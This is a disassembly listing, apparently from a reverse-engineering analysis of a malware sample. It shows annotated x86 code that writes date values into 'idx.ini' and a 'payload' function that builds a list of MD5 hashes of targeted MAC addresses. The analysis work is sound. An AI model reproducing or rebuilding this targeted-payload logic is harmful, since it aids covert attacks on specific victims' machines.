ram:000007f3    3bc3            CMP                 len,ebx                                 
ram:000007f5    7c57            JL                  LAB_0000084e                            
ram:000007f7    8d7c0002        LEA                 edi,[EAX + EAX*0x1 + 0x2]               
ram:000007fb    8d8530fbffff    LEA                 len=>module_filename,[0xfffffb30 + EBP] 
ram:00000801    83e802          SUB                 len,0x2                                 
ram:00000804    8945ec          MOV                 dword ptr [EBP + puStack24+0x4],len     
                            LAB_00000807:                 ;XREF[1,0]:   0000084c
ram:00000807    66833c385c      CMP                 word ptr [len + edi*0x1],0x5c           
ram:0000080c    7535            JNZ                 LAB_00000843                            
ram:0000080e    ff45fc          INC                 dword ptr [EBP + i+0x4]                 
ram:00000811    837dfc03        CMP                 dword ptr [EBP + i+0x4],0x3             
ram:00000815    752c            JNZ                 LAB_00000843                            
ram:00000817    57              PUSH                edi                                     
ram:00000818    8d8530fbffff    LEA                 len=>module_filename,[0xfffffb30 + EBP] 
ram:0000081e    50              PUSH                len                                     
ram:0000081f    8d8538fdffff    LEA                 len=>filename,[0xfffffd38 + EBP]        
ram:00000825    50              PUSH                len                                     
ram:00000826    ff561c          CALL                dword ptr [ESI + func_ptrs->memcpy]     
ram:00000829    83c40c          ADD                 ESP,0xc                                 
ram:0000082c    6a0e            PUSH                0xe                                     
ram:0000082e    8d45a4          LEA                 len=>idx_ini__string,[EBP + -0x5c]      
ram:00000831    50              PUSH                len                                     
ram:00000832    8d843d38f...    LEA                 len,[0xfffffd38 + EBP + edi*0x1]        
ram:00000839    50              PUSH                len                                     
ram:0000083a    ff561c          CALL                dword ptr [ESI + func_ptrs->memcpy]     
ram:0000083d    8b45ec          MOV                 len,dword ptr [EBP + puStack24+0x4]     
ram:00000840    83c40c          ADD                 ESP,0xc                                 
                            LAB_00000843:                 ;XREF[2,0]:   0000080c,00000815
ram:00000843    ff4df8          DEC                 dword ptr [EBP + len_1+0x4]             
ram:00000846    83ef02          SUB                 EDI,0x2                                 
ram:00000849    395df8          CMP                 dword ptr [EBP + len_1+0x4],ebx         
ram:0000084c    7db9            JGE                 LAB_00000807                            
                            LAB_0000084e:                 ;XREF[2,0]:   000007ed,000007f5
ram:0000084e    66399d38f...    CMP                 word ptr [filename[0]+0x4 + EBP],ebx    
ram:00000855    0f86f1000000    JBE                 LAB_0000094c                            
ram:0000085b    6a10            PUSH                0x10                                    
ram:0000085d    8d8568ffffff    LEA                 puVar2=>sytemtime,[0xffffff68 + EBP]    
ram:00000863    53              PUSH                ebx                                     
ram:00000864    50              PUSH                puVar2                                  
ram:00000865    ff5624          CALL                dword ptr [ESI + func_ptrs->memset]     
ram:00000868    83c40c          ADD                 ESP,0xc                                 
ram:0000086b    8d45e8          LEA                 puVar2=>_Stack28,[EBP + -0x18]          
ram:0000086e    50              PUSH                puVar2                                  
ram:0000086f    ff5610          CALL                dword ptr [ESI + func_ptrs->GetSystem...
ram:00000872    8b45e8          MOV                 puVar2,dword ptr [EBP + _Stack28+0x4]   
ram:00000875    8b4dec          MOV                 ECX,dword ptr [EBP + puStack24+0x4]     
ram:00000878    53              PUSH                ebx                                     
ram:00000879    050080c12a      ADD                 puVar2,0x2ac18000                       
ram:0000087e    bf80969800      MOV                 __n,0x989680                            
ram:00000883    57              PUSH                __n                                     
ram:00000884    81d1214e62fe    ADC                 ECX,0xfe624e21                          
ram:0000088a    51              PUSH                ECX                                     
ram:0000088b    50              PUSH                puVar2                                  
ram:0000088c    e8cf4b0000      CALL                FUN_00005460                            ;undefined FUN_00005460()
ram:00000891    83fa07          CMP                 lVar3,0x7                               
ram:00000894    7c0f            JL                  LAB_000008a5                            
ram:00000896    7f07            JG                  LAB_0000089f                            
ram:00000898    3dff6f4093      CMP                 lVar3,0x93406fff                        
ram:0000089d    7606            JBE                 LAB_000008a5                            
                            LAB_0000089f:                 ;XREF[1,0]:   00000896
ram:0000089f    83c8ff          OR                  lVar3,0xffffffff                        
ram:000008a2    8945ec          MOV                 dword ptr [EBP + puStack24+0x4],lVar3   
                            LAB_000008a5:                 ;XREF[2,0]:   00000894,0000089d
ram:000008a5    05803a0900      ADD                 lVar3,0x93a80                           
ram:000008aa    99              CDQ                                                          
ram:000008ab    53              PUSH                ebx=>DAT_00006aed                       ;= 1Ah
ram:000008ac    05009110b6      ADD                 lVar3,0xb6109100                        
ram:000008b1    57              PUSH                __n=>DAT_00006ae9                       ;= D6h
ram:000008b2    83d202          ADC                 lVar3,0x2                               
ram:000008b5    52              PUSH                lVar3=>DAT_00006ae5                     ;= 52h    R
ram:000008b6    50              PUSH                lVar3=>DAT_00006ae1                     ;= 09h
                            ;here a function with just a `ret` opcode in it is called ... the question is why?
ram:000008b7    e8144c0000      CALL                just_a_return_but_why                   ;undefined just_a_return_but_why()
ram:000008bc    8945f4          MOV                 dword ptr [EBP + FStack16+0x4],lVar3    
ram:000008bf    8bc2            MOV                 lVar3,lVar3                             
ram:000008c1    c1f81f          SAR                 lVar3,0x1f                              
ram:000008c4    8d8568ffffff    LEA                 lVar3=>sytemtime,[0xffffff68 + EBP]     
ram:000008ca    50              PUSH                lVar3=>DAT_00006add                     ;= D6h
ram:000008cb    8d45f4          LEA                 lVar3=>FStack16,[EBP + -0xc]            
ram:000008ce    50              PUSH                lVar3=>DAT_00006ad9                     ;= B4h
ram:000008cf    8955f8          MOV                 dword ptr [EBP + len_1+0x4],lVar3       
ram:000008d2    ff5614          CALL                dword ptr [ESI + func_ptrs->FileTimeT...
ram:000008d5    0fb7856ef...    MOVZX               lVar3,word ptr [sytemtime.wDay+0x4 + ...
ram:000008dc    50              PUSH                lVar3                                   
ram:000008dd    0fb7856af...    MOVZX               lVar3,word ptr [sytemtime.wMonth+0x4 ...
ram:000008e4    50              PUSH                lVar3                                   
ram:000008e5    0fb78568f...    MOVZX               lVar3,word ptr [sytemtime.wYear+0x4 +...
ram:000008ec    50              PUSH                lVar3                                   
ram:000008ed    8d8578ffffff    LEA                 lVar3=>fmt_str,[0xffffff78 + EBP]       
ram:000008f3    50              PUSH                lVar3                                   
ram:000008f4    8d8540ffffff    LEA                 lVar3=>string,[0xffffff40 + EBP]        
ram:000008fa    50              PUSH                lVar3                                   
ram:000008fb    ff5628          CALL                dword ptr [ESI + func_ptrs->swprintf]   
ram:000008fe    83c414          ADD                 ESP,0x14                                
ram:00000901    8d8538fdffff    LEA                 lVar3=>filename,[0xfffffd38 + EBP]      
ram:00000907    50              PUSH                lVar3                                   
ram:00000908    8d8540ffffff    LEA                 lVar3=>string,[0xffffff40 + EBP]        
ram:0000090e    50              PUSH                lVar3                                   
ram:0000090f    8d45b4          LEA                 lVar3=>keyname1,[EBP + -0x4c]           
ram:00000912    50              PUSH                lVar3                                   
                            ;here the some stuff is written into `idx.ini`
ram:00000913    8d45d4          LEA                 lVar3=>appname,[EBP + -0x2c]            
ram:00000916    50              PUSH                lVar3                                   
ram:00000917    ff560c          CALL                dword ptr [ESI + func_ptrs->WritePriv...
ram:0000091a    8d8538fdffff    LEA                 lVar3=>filename,[0xfffffd38 + EBP]      
ram:00000920    50              PUSH                lVar3                                   
ram:00000921    8d8540ffffff    LEA                 lVar3=>string,[0xffffff40 + EBP]        
ram:00000927    50              PUSH                lVar3                                   
ram:00000928    8d4594          LEA                 lVar3=>keyname2,[EBP + -0x6c]           
ram:0000092b    50              PUSH                lVar3                                   
ram:0000092c    8d45d4          LEA                 lVar3=>appname,[EBP + -0x2c]            
ram:0000092f    50              PUSH                lVar3                                   
ram:00000930    ff560c          CALL                dword ptr [ESI + func_ptrs->WritePriv...
ram:00000933    8d8538fdffff    LEA                 lVar3=>filename,[0xfffffd38 + EBP]      
ram:00000939    50              PUSH                lVar3                                   
ram:0000093a    8d8540ffffff    LEA                 lVar3=>string,[0xffffff40 + EBP]        
ram:00000940    50              PUSH                lVar3                                   
ram:00000941    8d45c4          LEA                 lVar3=>keyname3,[EBP + -0x3c]           
ram:00000944    50              PUSH                lVar3                                   
ram:00000945    8d45d4          LEA                 lVar3=>appname,[EBP + -0x2c]            
ram:00000948    50              PUSH                lVar3                                   
ram:00000949    ff560c          CALL                dword ptr [ESI + func_ptrs->WritePriv...
                            LAB_0000094c:                 ;XREF[1,0]:   00000855
ram:0000094c    5f              POP                 __n                                     
ram:0000094d    5b              POP                 ebx                                     
ram:0000094e    c9              LEAVE                                                        
ram:0000094f    c3              RET                                                          
                            ;********************************************************************************************************
                            ;*                                               FUNCTION                                               *
                            ;********************************************************************************************************
                            ;void payload(func_ptr_table_t * func_ptrs)
          ;func_ptrs     func_ptr_ta...     EAX                      
          ;mac_cnt       int                EAX                      ;XREF[1,0]:   00000f2a
          ;dwSize        SIZE_T             EDI                      ;XREF[1,0]:   00000f38
          ;buffer        LPVOID             EAX                      ;XREF[1,0]:   00000f44
          ;mac_cnt2      uint               EAX                      
          ;matched       int                EAX                      ;XREF[1,0]:   00000f87
          ;md5s_of_macs  mac_md5_lis...    -324                      
          ;md5s_of_th... mac_md5_lis...    -350                      
                                                          ;XREF[1,0]:   0000104e
ram:00000950    55              PUSH                EBP                                     
ram:00000951    8bec            MOV                 EBP,ESP                                 
ram:00000953    81ec4c030000    SUB                 ESP,0x34c                               
                            ;fill the structure with MD5s of target MACs
ram:00000959    c785e4fcf...    MOV                 dword ptr [0xfffffce4 + EBP],0xc706b000 
ram:00000963    c785e8fcf...    MOV                 dword ptr [0xfffffce8 + EBP],0xe6acb6da 
ram:0000096d    c785ecfcf...    MOV                 dword ptr [0xfffffcec + EBP],0x99375cc2 
ram:00000977    c785f0fcf...    MOV                 dword ptr [0xfffffcf0 + EBP],0x146e2beb 
ram:00000981    53              PUSH                EBX                                     
ram:00000982    56              PUSH                ESI                                     
ram:00000983    57              PUSH                EDI                                     
ram:00000984    8bf0            MOV                 ESI,func_ptrs                           
ram:00000986    33c0            XOR                 func_ptrs,func_ptrs                     
ram:00000988    6a02            PUSH                0x2                                     
ram:0000098a    5a              POP                 EDX                                     
ram:0000098b    8995e0fcffff    MOV                 dword ptr [0xfffffce0 + EBP],EDX        
ram:00000991    8dbdf4fcffff    LEA                 EDI,[0xfffffcf4 + EBP]                  
ram:00000997    ab              STOSD               ES:EDI                                  
ram:00000998    c785f8fcf...    MOV                 dword ptr [0xfffffcf8 + EBP],0xa3ba7759 
ram:000009a2    c785fcfcf...    MOV                 dword ptr [0xfffffcfc + EBP],0xa10ccef8 
ram:000009ac    c78500fdf...    MOV                 dword ptr [0xfffffd00 + EBP],0xc96a6dc9 
ram:000009b6    c78504fdf...    MOV                 dword ptr [0xfffffd04 + EBP],0x919a0ca4 
ram:000009c0    33c9            XOR                 ECX,ECX                                 
ram:000009c2    41              INC                 ECX                                     
ram:000009c3    8dbd08fdffff    LEA                 EDI,[0xfffffd08 + EBP]                  
ram:000009c9    ab              STOSD               ES:EDI                                  
ram:000009ca    898d0cfdffff    MOV                 dword ptr [0xfffffd0c + EBP],ECX        
ram:000009d0    c78510fdf...    MOV                 dword ptr [0xfffffd10 + EBP],0xc706b000 
ram:000009da    c78514fdf...    MOV                 dword ptr [0xfffffd14 + EBP],0xe6acb6da 
ram:000009e4    c78518fdf...    MOV                 dword ptr [0xfffffd18 + EBP],0x99375cc2 
ram:000009ee    c7851cfdf...    MOV                 dword ptr [0xfffffd1c + EBP],0x146e2beb 
ram:000009f8    33db            XOR                 EBX,EBX                                 
ram:000009fa    8dbd20fdffff    LEA                 EDI,[0xfffffd20 + EBP]                  
ram:00000a00    ab              STOSD               ES:EDI                                  
ram:00000a01    889d24fdffff    MOV                 byte ptr [0xfffffd24 + EBP],BL          
ram:00000a07    8dbd25fdffff    LEA                 EDI,[0xfffffd25 + EBP]                  
ram:00000a0d    ab              STOSD               ES:EDI                                  
ram:00000a0e    ab              STOSD               ES:EDI                                  
ram:00000a0f    ab              STOSD               ES:EDI                                  
ram:00000a10    ab              STOSD               ES:EDI                                  
ram:00000a11    66ab            STOSW               ES:EDI                                  
ram:00000a13    aa              STOSB               ES:EDI                                  
ram:00000a14    898d38fdffff    MOV                 dword ptr [0xfffffd38 + EBP],ECX        
ram:00000a1a    c7853cfdf...    MOV                 dword ptr [0xfffffd3c + EBP],0xeb8e9d40 
ram:00000a24    c78540fdf...    MOV                 dword ptr [0xfffffd40 + EBP],0xe54685ce 
ram:00000a2e    c78544fdf...    MOV                 dword ptr [0xfffffd44 + EBP],0x40d70a6a 
ram:00000a38    c78548fdf...    MOV                 dword ptr [0xfffffd48 + EBP],0xbdad7a66 
ram:00000a42    33c0            XOR                 func_ptrs,func_ptrs                     
ram:00000a44    8dbd4cfdffff    LEA                 EDI,[0xfffffd4c + EBP]                  
ram:00000a4a    ab              STOSD               ES:EDI                                  
ram:00000a4b    889d50fdffff    MOV                 byte ptr [0xfffffd50 + EBP],BL          
ram:00000a51    8dbd51fdffff    LEA                 EDI,[0xfffffd51 + EBP]                  
ram:00000a57    ab              STOSD               ES:EDI                                  
ram:00000a58    ab              STOSD               ES:EDI                                  
ram:00000a59    ab              STOSD               ES:EDI                                  
ram:00000a5a    ab              STOSD               ES:EDI                                  
ram:00000a5b    66ab            STOSW               ES:EDI                                  
ram:00000a5d    aa              STOSB               ES:EDI                                  
ram:00000a5e    898d64fdffff    MOV                 dword ptr [0xfffffd64 + EBP],ECX        
ram:00000a64    c78568fdf...    MOV                 dword ptr [0xfffffd68 + EBP],0xd32da47d 
ram:00000a6e    c7856cfdf...    MOV                 dword ptr [0xfffffd6c + EBP],0xe1d47445 
ram:00000a78    c78570fdf...    MOV                 dword ptr [0xfffffd70 + EBP],0x700eeaa7 
ram:00000a82    c78574fdf...    MOV                 dword ptr [0xfffffd74 + EBP],0xa6c97b8e 
ram:00000a8c    33c0            XOR                 func_ptrs,func_ptrs                     
ram:00000a8e    8dbd78fdffff    LEA                 EDI,[0xfffffd78 + EBP]                  
ram:00000a94    ab              STOSD               ES:EDI                                  
ram:00000a95    889d7cfdffff    MOV                 byte ptr [0xfffffd7c + EBP],BL          
ram:00000a9b    8dbd7dfdffff    LEA                 EDI,[0xfffffd7d + EBP]                  
ram:00000aa1    ab              STOSD               ES:EDI                                  
ram:00000aa2    ab              STOSD               ES:EDI                                  
ram:00000aa3    ab              STOSD               ES:EDI                                  
ram:00000aa4    ab              STOSD               ES:EDI                                  
ram:00000aa5    66ab            STOSW               ES:EDI                                  
ram:00000aa7    aa              STOSB               ES:EDI                                  
ram:00000aa8    33c0            XOR                 func_ptrs,func_ptrs                     
ram:00000aaa    8dbda4fdffff    LEA                 EDI,[0xfffffda4 + EBP]                  
ram:00000ab0    899590fdffff    MOV                 dword ptr [0xfffffd90 + EBP],EDX        
ram:00000ab6    c78594fdf...    MOV                 dword ptr [0xfffffd94 + EBP],0x252ae6ad 
ram:00000ac0    c78598fdf...    MOV                 dword ptr [0xfffffd98 + EBP],0x8411df7a 
ram:00000aca    c7859cfdf...    MOV                 dword ptr [0xfffffd9c + EBP],0x91b2c518 
ram:00000ad4    c785a0fdf...    MOV                 dword ptr [0xfffffda0 + EBP],0x3e546732 
ram:00000ade    ab              STOSD               ES:EDI                                  
ram:00000adf    c785a8fdf...    MOV                 dword ptr [0xfffffda8 + EBP],0xd6ae6842 
ram:00000ae9    c785acfdf...    MOV                 dword ptr [0xfffffdac + EBP],0xf2ffa54a 
ram:00000af3    8895b0fdffff    MOV                 byte ptr [0xfffffdb0 + EBP],DL          
ram:00000af9    c785b1fdf...    MOV                 dword ptr [0xfffffdb1 + EBP],0x7947240d 
ram:00000b03    66c785b5f...    MOV                 word ptr [0xfffffdb5 + EBP],DAT_00007d0d;= 17h
ram:00000b0c    c685b7fdf...    MOV                 byte ptr [0xfffffdb7 + EBP],0x32        
ram:00000b13    8dbdb8fdffff    LEA                 EDI,[0xfffffdb8 + EBP]                  
ram:00000b19    ab              STOSD               ES:EDI                                  
ram:00000b1a    898dbcfdffff    MOV                 dword ptr [0xfffffdbc + EBP],ECX        
ram:00000b20    c785c0fdf...    MOV                 dword ptr [0xfffffdc0 + EBP],0x3fc5147b 
ram:00000b2a    c785c4fdf...    MOV                 dword ptr [0xfffffdc4 + EBP],0xc14c60d3 
ram:00000b34    c785c8fdf...    MOV                 dword ptr [0xfffffdc8 + EBP],0xf45acaeb 
ram:00000b3e    c785ccfdf...    MOV                 dword ptr [0xfffffdcc + EBP],0xd5fe5a41 
ram:00000b48    8dbdd0fdffff    LEA                 EDI,[0xfffffdd0 + EBP]                  
ram:00000b4e    ab              STOSD               ES:EDI                                  
ram:00000b4f    889dd4fdffff    MOV                 byte ptr [0xfffffdd4 + EBP],BL          
ram:00000b55    8dbdd5fdffff    LEA                 EDI,[0xfffffdd5 + EBP]                  
ram:00000b5b    ab              STOSD               ES:EDI                                  
ram:00000b5c    ab              STOSD               ES:EDI                                  
ram:00000b5d    ab              STOSD               ES:EDI                                  
ram:00000b5e    ab              STOSD               ES:EDI                                  
ram:00000b5f    66ab            STOSW               ES:EDI                                  
ram:00000b61    aa              STOSB               ES:EDI                                  
ram:00000b62    898de8fdffff    MOV                 dword ptr [0xfffffde8 + EBP],ECX        
ram:00000b68    c785ecfdf...    MOV                 dword ptr [0xfffffdec + EBP],0x2ea68e3a 
ram:00000b72    c785f0fdf...    MOV                 dword ptr [0xfffffdf0 + EBP],0xbeecb432 
ram:00000b7c    c785f4fdf...    MOV                 dword ptr [0xfffffdf4 + EBP],0xa50df33  
ram:00000b86    c785f8fdf...    MOV                 dword ptr [0xfffffdf8 + EBP],0x73c8eb28 
ram:00000b90    33c0            XOR                 func_ptrs,func_ptrs                     
ram:00000b92    8dbdfcfdffff    LEA                 EDI,[0xfffffdfc + EBP]                  
ram:00000b98    ab              STOSD               ES:EDI                                  
ram:00000b99    889d00feffff    MOV                 byte ptr [0xfffffe00 + EBP],BL          
ram:00000b9f    8dbd01feffff    LEA                 EDI,[0xfffffe01 + EBP]                  
ram:00000ba5    ab              STOSD               ES:EDI                                  
ram:00000ba6    ab              STOSD               ES:EDI                                  
ram:00000ba7    ab              STOSD               ES:EDI                                  
ram:00000ba8    ab              STOSD               ES:EDI                                  
ram:00000ba9    66ab            STOSW               ES:EDI                                  
ram:00000bab    aa              STOSB               ES:EDI                                  
ram:00000bac    898d14feffff    MOV                 dword ptr [0xfffffe14 + EBP],ECX        
ram:00000bb2    c78518fef...    MOV                 dword ptr [0xfffffe18 + EBP],0x6c9516cc 
ram:00000bbc    c7851cfef...    MOV                 dword ptr [0xfffffe1c + EBP],0x2bcd0695 
ram:00000bc6    c78520fef...    MOV                 dword ptr [0xfffffe20 + EBP],0xd7a789b3 
ram:00000bd0    c78524fef...    MOV                 dword ptr [0xfffffe24 + EBP],0xbd3324da 
ram:00000bda    33c0            XOR                 func_ptrs,func_ptrs                     
ram:00000bdc    8dbd28feffff    LEA                 EDI,[0xfffffe28 + EBP]                  
ram:00000be2    ab              STOSD               ES:EDI                                  
ram:00000be3    889d2cfeffff    MOV                 byte ptr [0xfffffe2c + EBP],BL          
ram:00000be9    8dbd2dfeffff    LEA                 EDI,[0xfffffe2d + EBP]                  
ram:00000bef    ab              STOSD               ES:EDI                                  
ram:00000bf0    ab              STOSD               ES:EDI                                  
ram:00000bf1    ab              STOSD               ES:EDI                                  
ram:00000bf2    ab              STOSD               ES:EDI                                  
ram:00000bf3    66ab            STOSW               ES:EDI                                  
ram:00000bf5    aa              STOSB               ES:EDI                                  
ram:00000bf6    33c0            XOR                 func_ptrs,func_ptrs                     
ram:00000bf8    899540feffff    MOV                 dword ptr [0xfffffe40 + EBP],EDX        
ram:00000bfe    c78544fef...    MOV                 dword ptr [0xfffffe44 + EBP],0x64cc4cfe 
ram:00000c08    c78548fef...    MOV                 dword ptr [0xfffffe48 + EBP],0xa6539215 
ram:00000c12    888d4cfeffff    MOV                 byte ptr [0xfffffe4c + EBP],CL          
ram:00000c18    c7854dfef...    MOV                 dword ptr [0xfffffe4d + EBP],0x71f10493 
ram:00000c22    889551feffff    MOV                 byte ptr [0xfffffe51 + EBP],DL          
ram:00000c28    66c78552f...    MOV                 word ptr [0xfffffe52 + EBP],DAT_00006d88;= F8h
ram:00000c31    8dbd54feffff    LEA                 EDI,[0xfffffe54 + EBP]                  
ram:00000c37    ab              STOSD               ES:EDI                                  
ram:00000c38    c78558fef...    MOV                 dword ptr [0xfffffe58 + EBP],0x7c341f2  
ram:00000c42    c7855cfef...    MOV                 dword ptr [0xfffffe5c + EBP],0x7477573a 
ram:00000c4c    c78560fef...    MOV                 dword ptr [0xfffffe60 + EBP],0x7214342c 
ram:00000c56    c78564fef...    MOV                 dword ptr [0xfffffe64 + EBP],0xec3ed4e2 
ram:00000c60    8dbd68feffff    LEA                 EDI,[0xfffffe68 + EBP]                  
ram:00000c66    ab              STOSD               ES:EDI                                  
ram:00000c67    898d6cfeffff    MOV                 dword ptr [0xfffffe6c + EBP],ECX        
ram:00000c6d    c78570fef...    MOV                 dword ptr [0xfffffe70 + EBP],0x4a56c24e 
ram:00000c77    c78574fef...    MOV                 dword ptr [0xfffffe74 + EBP],0xc52d98ce 
ram:00000c81    c78578fef...    MOV                 dword ptr [0xfffffe78 + EBP],0xbf39108c 
ram:00000c8b    c7857cfef...    MOV                 dword ptr [0xfffffe7c + EBP],0x3ca86e6d 
ram:00000c95    8dbd80feffff    LEA                 EDI,[0xfffffe80 + EBP]                  
ram:00000c9b    ab              STOSD               ES:EDI                                  
ram:00000c9c    889d84feffff    MOV                 byte ptr [0xfffffe84 + EBP],BL          
ram:00000ca2    8dbd85feffff    LEA                 EDI,[0xfffffe85 + EBP]                  
ram:00000ca8    ab              STOSD               ES:EDI                                  
ram:00000ca9    ab              STOSD               ES:EDI                                  
ram:00000caa    ab              STOSD               ES:EDI                                  
ram:00000cab    ab              STOSD               ES:EDI                                  
ram:00000cac    66ab            STOSW               ES:EDI                                  
ram:00000cae    aa              STOSB               ES:EDI                                  
ram:00000caf    899598feffff    MOV                 dword ptr [0xfffffe98 + EBP],EDX        
ram:00000cb5    c7859cfef...    MOV                 dword ptr [0xfffffe9c + EBP],0x9eef0cab 
ram:00000cbf    c785a0fef...    MOV                 dword ptr [0xfffffea0 + EBP],0x9e125759 
ram:00000cc9    c785a4fef...    MOV                 dword ptr [0xfffffea4 + EBP],0x78a1fb23 
ram:00000cd3    c785a8fef...    MOV                 dword ptr [0xfffffea8 + EBP],0xba20f12  
ram:00000cdd    33c0            XOR                 func_ptrs,func_ptrs                     
ram:00000cdf    8dbdacfeffff    LEA                 EDI,[0xfffffeac + EBP]                  
ram:00000ce5    ab              STOSD               ES:EDI                                  
ram:00000ce6    66c785b0f...    MOV                 word ptr [0xfffffeb0 + EBP],DAT_000058f7;= 53h    S
ram:00000cef    8895b2feffff    MOV                 byte ptr [0xfffffeb2 + EBP],DL          
ram:00000cf5    c785b3fef...    MOV                 dword ptr [0xfffffeb3 + EBP],0x7740734e 
ram:00000cff    c785b7fef...    MOV                 dword ptr [0xfffffeb7 + EBP],0xe93205c7 
ram:00000d09    8895bbfeffff    MOV                 byte ptr [0xfffffebb + EBP],DL          
ram:00000d0f    66c785bcf...    MOV                 word ptr [0xfffffebc + EBP],DAT_0000c551;= D1h
ram:00000d18    c685befef...    MOV                 byte ptr [0xfffffebe + EBP],0xdf        
ram:00000d1f    8895bffeffff    MOV                 byte ptr [0xfffffebf + EBP],DL          
ram:00000d25    8dbdc0feffff    LEA                 EDI,[0xfffffec0 + EBP]                  
ram:00000d2b    ab              STOSD               ES:EDI                                  
ram:00000d2c    898dc4feffff    MOV                 dword ptr [0xfffffec4 + EBP],ECX        
ram:00000d32    c785c8fef...    MOV                 dword ptr [0xfffffec8 + EBP],0x61605af3 
ram:00000d3c    c785ccfef...    MOV                 dword ptr [0xfffffecc + EBP],0xde36b37a 
ram:00000d46    c785d0fef...    MOV                 dword ptr [0xfffffed0 + EBP],0x99c7aa4d 
ram:00000d50    c785d4fef...    MOV                 dword ptr [0xfffffed4 + EBP],0xb6076d67 
ram:00000d5a    8dbdd8feffff    LEA                 EDI,[0xfffffed8 + EBP]                  
ram:00000d60    ab              STOSD               ES:EDI                                  
ram:00000d61    889ddcfeffff    MOV                 byte ptr [0xfffffedc + EBP],BL          
ram:00000d67    8dbdddfeffff    LEA                 EDI,[0xfffffedd + EBP]                  
ram:00000d6d    ab              STOSD               ES:EDI                                  
ram:00000d6e    ab              STOSD               ES:EDI                                  
ram:00000d6f    ab              STOSD               ES:EDI                                  
ram:00000d70    ab              STOSD               ES:EDI                                  
ram:00000d71    66ab            STOSW               ES:EDI                                  
ram:00000d73    aa              STOSB               ES:EDI                                  
ram:00000d74    898df0feffff    MOV                 dword ptr [0xfffffef0 + EBP],ECX        
ram:00000d7a    c785f4fef...    MOV                 dword ptr [0xfffffef4 + EBP],0xd8ea626a 
ram:00000d84    888df8feffff    MOV                 byte ptr [0xfffffef8 + EBP],CL          
ram:00000d8a    c785f9fef...    MOV                 dword ptr [0xfffffef9 + EBP],0x9e5c2a80 
ram:00000d94    c785fdfef...    MOV                 dword ptr [0xfffffefd + EBP],0xc1d028c8 
ram:00000d9e    66c78501f...    MOV                 word ptr [0xffffff01 + EBP],DAT_0000bbed;= C5h
ram:00000da7    c68503fff...    MOV                 byte ptr [0xffffff03 + EBP],0x5b        
ram:00000dae    33c0            XOR                 func_ptrs,func_ptrs                     
ram:00000db0    8dbd04ffffff    LEA                 EDI,[0xffffff04 + EBP]                  
ram:00000db6    ab              STOSD               ES:EDI                                  
ram:00000db7    889d08ffffff    MOV                 byte ptr [0xffffff08 + EBP],BL          
ram:00000dbd    8dbd09ffffff    LEA                 EDI,[0xffffff09 + EBP]                  
ram:00000dc3    ab              STOSD               ES:EDI                                  
ram:00000dc4    ab              STOSD               ES:EDI                                  
ram:00000dc5    ab              STOSD               ES:EDI                                  
ram:00000dc6    ab              STOSD               ES:EDI                                  
ram:00000dc7    66ab            STOSW               ES:EDI                                  
ram:00000dc9    aa              STOSB               ES:EDI                                  
ram:00000dca    898d1cffffff    MOV                 dword ptr [0xffffff1c + EBP],ECX        
ram:00000dd0    c78520fff...    MOV                 dword ptr [0xffffff20 + EBP],0x527b0c60 
ram:00000dda    c78524fff...    MOV                 dword ptr [0xffffff24 + EBP],0x3208f8e7 
ram:00000de4    c78528fff...    MOV                 dword ptr [0xffffff28 + EBP],0x4fe8cee3 
ram:00000dee    c7852cfff...    MOV                 dword ptr [0xffffff2c + EBP],0x9d8bc8ce 
ram:00000df8    33c0            XOR                 func_ptrs,func_ptrs                     
ram:00000dfa    8dbd30ffffff    LEA                 EDI,[0xffffff30 + EBP]                  
ram:00000e00    ab              STOSD               ES:EDI                                  
ram:00000e01    889d34ffffff    MOV                 byte ptr [0xffffff34 + EBP],BL          
ram:00000e07    8dbd35ffffff    LEA                 EDI,[0xffffff35 + EBP]                  
ram:00000e0d    ab              STOSD               ES:EDI                                  
ram:00000e0e    ab              STOSD               ES:EDI                                  
ram:00000e0f    ab              STOSD               ES:EDI                                  
ram:00000e10    ab              STOSD               ES:EDI                                  
ram:00000e11    66ab            STOSW               ES:EDI                                  
ram:00000e13    aa              STOSB               ES:EDI                                  
ram:00000e14    33c0            XOR                 func_ptrs,func_ptrs                     
ram:00000e16    8dbd5cffffff    LEA                 EDI,[0xffffff5c + EBP]                  
ram:00000e1c    899548ffffff    MOV                 dword ptr [0xffffff48 + EBP],EDX        
ram:00000e22    c7854cfff...    MOV                 dword ptr [0xffffff4c + EBP],0xd7b2756e 
ram:00000e2c    c78550fff...    MOV                 dword ptr [0xffffff50 + EBP],0x64980e47 
ram:00000e36    c78554fff...    MOV                 dword ptr [0xffffff54 + EBP],0xcb489ed1 
ram:00000e40    c78558fff...    MOV                 dword ptr [0xffffff58 + EBP],0x64af0c36 
ram:00000e4a    ab              STOSD               ES:EDI                                  
ram:00000e4b    c78560fff...    MOV                 dword ptr [0xffffff60 + EBP],0xcd9b55fb 
ram:00000e55    c78564fff...    MOV                 dword ptr [0xffffff64 + EBP],0xfce03e10 
ram:00000e5f    c78568fff...    MOV                 dword ptr [0xffffff68 + EBP],0x6141cfb0 
ram:00000e69    c7856cfff...    MOV                 dword ptr [0xffffff6c + EBP],0x19fbfab0 
ram:00000e73    8dbd70ffffff    LEA                 EDI,[0xffffff70 + EBP]                  
ram:00000e79    ab              STOSD               ES:EDI                                  
ram:00000e7a    898d74ffffff    MOV                 dword ptr [0xffffff74 + EBP],ECX        
ram:00000e80    c78578fff...    MOV                 dword ptr [0xffffff78 + EBP],0x1ed60a69 
ram:00000e8a    c7857cfff...    MOV                 dword ptr [0xffffff7c + EBP],0x99a85c7  
ram:00000e94    c74580642...    MOV                 dword ptr [EBP + -0x80],0x666b2164      
ram:00000e9b    c74584b5d...    MOV                 dword ptr [EBP + -0x7c],0x1a3bd3b5      
ram:00000ea2    8d7d88          LEA                 EDI,[EBP + -0x78]                       
ram:00000ea5    ab              STOSD               ES:EDI                                  
ram:00000ea6    885d8c          MOV                 byte ptr [EBP + -0x74],BL               
ram:00000ea9    8d7d8d          LEA                 EDI,[EBP + -0x73]                       
ram:00000eac    ab              STOSD               ES:EDI                                  
ram:00000ead    ab              STOSD               ES:EDI                                  
ram:00000eae    ab              STOSD               ES:EDI                                  
ram:00000eaf    ab              STOSD               ES:EDI                                  
ram:00000eb0    66ab            STOSW               ES:EDI                                  
ram:00000eb2    aa              STOSB               ES:EDI                                  
ram:00000eb3    8955a0          MOV                 dword ptr [EBP + -0x60],EDX             
ram:00000eb6    c745a409d...    MOV                 dword ptr [EBP + -0x5c],0xf39dda09      
ram:00000ebd    c745a8a05...    MOV                 dword ptr [EBP + -0x58],0xadaf50a0      
ram:00000ec4    c745ac0df...    MOV                 dword ptr [EBP + -0x54],0x96eff00d      
